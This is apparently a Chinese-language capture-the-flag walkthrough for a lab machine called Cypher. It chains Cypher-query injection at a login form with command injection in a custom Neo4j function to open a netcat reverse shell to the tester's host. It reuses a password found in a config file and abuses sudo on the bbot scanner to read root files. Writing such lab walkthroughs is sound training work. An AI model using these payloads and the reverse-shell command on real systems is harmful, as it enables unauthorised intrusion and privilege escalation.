USER

nmap -T4 -v -A -Pn 10.10.11.57 -oN cypher.txt

port 80

跑一下目录

ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://cypher.htb/FUZZ" -c

testing 目录下有一个 jar 包

下载后反编译我们找到的 custom-apoc-extension-1.0-SNAPSHOT.jar

在/com/cypher/neo4j/apoc 下的 CustomFunctions

我们可以看见

其中这里包含了一段代码,可能存在命令注入

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));

如果我们传入custom.getUrlStatusCode 的值用分隔符隔开 "cypher.htb;whoami"就可能造成命令注入

要利用这个的话,我们可以回到 login 界面

在登录的时候,数据库查询用户名密码,结合 jar 和题目名称,cypher 是 neo4j 的查询语句,我们可以尝试使用拼接 cypher 语句来注入

登录抓包,当我们在 username 构造语句

看到响应包可以发现返回了完整的语句,我们的语句被注入到了查询语句中

接下来就可以构造语句反弹 shell 了

"username":"admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"http://cypher.htb;busybox nc 10.10.14.20 5566 -e sh;#\") YIELD statusCode AS a RETURN a;//",

反弹的 shell 不太好看,可以依靠 python 起一个伪终端

python3 -c "import pty;pty.spawn('/bin/bash');"

在/home/graphasm/目录下可以看见 bbot_preset.yml 和 user.txt

但是 user.txt 我们看不了,bbot_preset.yml 可以查看,并能找到一个凭证 cU4btyib.20xtCMCXkBmerhK

可以直接用这个凭证升级到 graphasm 用户

su graphasm

这里就能看到 user.txt 了

ROOT

然后考虑提权

sudo -l 可以 root 权限执行 /usr/local/bin/bbot

查看一下 bbot

搜索了一下,bbot 是一个递归 Internet 扫描程序

https://github.com/blacklanternsecurity/bbot/tree/stable

直接依靠 bbot 的参数

sudo /usr/local/bin/bbot --custom-yara-rules /root/root.txt -d --dry-run

指定/root/root.txt 为 bbot 的配置文件,同时-d 开启 debug,就可以直接显示出 root.txt 的内容


"The quieter you become, the more you are able to hear."